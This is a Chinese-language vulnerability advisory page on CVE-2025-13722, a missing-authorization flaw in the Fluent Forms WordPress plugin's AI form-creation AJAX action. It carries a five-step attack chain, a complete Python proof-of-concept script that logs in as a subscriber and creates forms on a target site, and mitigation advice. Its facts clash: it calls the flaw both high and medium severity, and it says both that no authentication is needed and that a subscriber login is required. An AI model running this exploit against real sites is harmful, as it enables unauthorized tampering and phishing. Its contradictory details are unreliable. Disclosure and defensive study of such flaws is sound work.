IPBUF安全漏洞报告
English
CVE-2025-13722 CVSS 5.3 中危

CVE-2025-13722 WordPress Fluent Forms插件未授权表单创建漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-13722
漏洞类型
缺失授权/访问控制
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Fluent Forms WordPress插件

相关标签

WordPress插件漏洞缺失授权Fluent FormsAJAX安全访问控制绕过CVE-2025-13722

漏洞概述

CVE-2025-13722是WordPress插件Fluent Forms中的一个高危安全漏洞。该插件是WordPress平台上流行的表单构建器,支持自定义联系表单、调查问卷、测验和对话式表单创建功能。漏洞存在于插件的AJAX处理逻辑中,具体是`fluentform_ai_create_form`操作缺少必要的权限验证检查。由于缺少 capability 检查,任何已认证用户(包括最低权限的订阅者角色)都可以通过该AJAX接口调用AI表单构建器功能,任意创建表单内容。攻击者无需管理员权限即可利用此漏洞,这使得漏洞的利用门槛极低。攻击者可利用此漏洞创建大量垃圾表单内容,可能用于钓鱼攻击、恶意重定向或破坏网站正常运行。此漏洞影响所有版本直到且包括6.1.7版本。

技术细节

该漏洞属于OWASP Top 10中的Broken Access Control类别。Fluent Forms插件在注册AJAX钩子时,未对`fluentform_ai_create_form`动作进行权限检查。正常情况下,WordPress AJAX处理器应该使用`wp_verify_nonce`验证随机数,并使用`current_user_can`检查用户权限。然而,漏洞代码直接处理请求而未验证用户是否具有管理表单的权限。由于WordPress默认允许所有已登录用户(包括Subscriber角色)访问AJAX端点,攻击者只需拥有一个低权限账户即可利用此漏洞。攻击者通过构造特定的AJAX请求,指定表单名称、字段配置等参数,即可触发`fluentform_ai_create_form`函数,在网站上创建任意表单。该函数位于app/Modules/Ai/AiFormBuilder.php文件中,缺少权限验证逻辑。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress低权限账户(如Subscriber角色)
STEP 2
步骤2
攻击者构造针对fluentform_ai_create_form AJAX端点的恶意请求
STEP 3
步骤3
由于缺少权限验证,AJAX处理器直接执行表单创建逻辑
STEP 4
步骤4
攻击者创建的恶意表单被写入数据库,可在网站前端展示
STEP 5
步骤5
攻击者利用恶意表单进行钓鱼攻击、恶意重定向或数据收集

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13722 PoC - Fluent Forms Missing Authorization # Target: WordPress site with Fluent Forms plugin < 6.1.8 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' username = sys.argv[2] if len(sys.argv) > 2 else 'subscriber' password = sys.argv[3] if len(sys.argv) > 3 else 'password' session = requests.Session() # Step 1: Login to WordPress login_url = f'{target}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{target}/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) print(f'[+] Login attempt: {"Success" if "wordpress_logged_in" in str(session.cookies) else "Failed"}') # Step 2: Exploit the missing authorization vulnerability ajax_url = f'{target}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'fluentform_ai_create_form', 'form_name': 'Malicious Form', 'form_description': 'This form was created via CVE-2025-13722', 'form_fields': '{"type":"input_text","name":"test","label":"Test Field"}', 'ai_settings': '{"style":"default"}' } response = session.post(ajax_url, data=exploit_data) print(f'[+] Exploit sent to {ajax_url}') print(f'[+] Response status: {response.status_code}') print(f'[+] Response: {response.text[:500]}') if 'success' in response.text.lower() or 'form' in response.text.lower(): print('[+] Form creation may have succeeded!') else: print('[-] Exploit may have failed or target is not vulnerable')

影响范围

Fluent Forms WordPress插件 < 6.1.8

防御指南

临时缓解措施
立即将Fluent Forms插件升级到6.1.8版本。如果无法立即升级,可在wp-config.php中添加临时访问控制,限制非管理员用户对AJAX端点的访问。同时建议审查现有用户账户,移除不必要的订阅者账户,并启用双因素认证。对于必须使用的插件版本,可通过自定义代码临时禁用fluentform_ai_create_form AJAX动作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表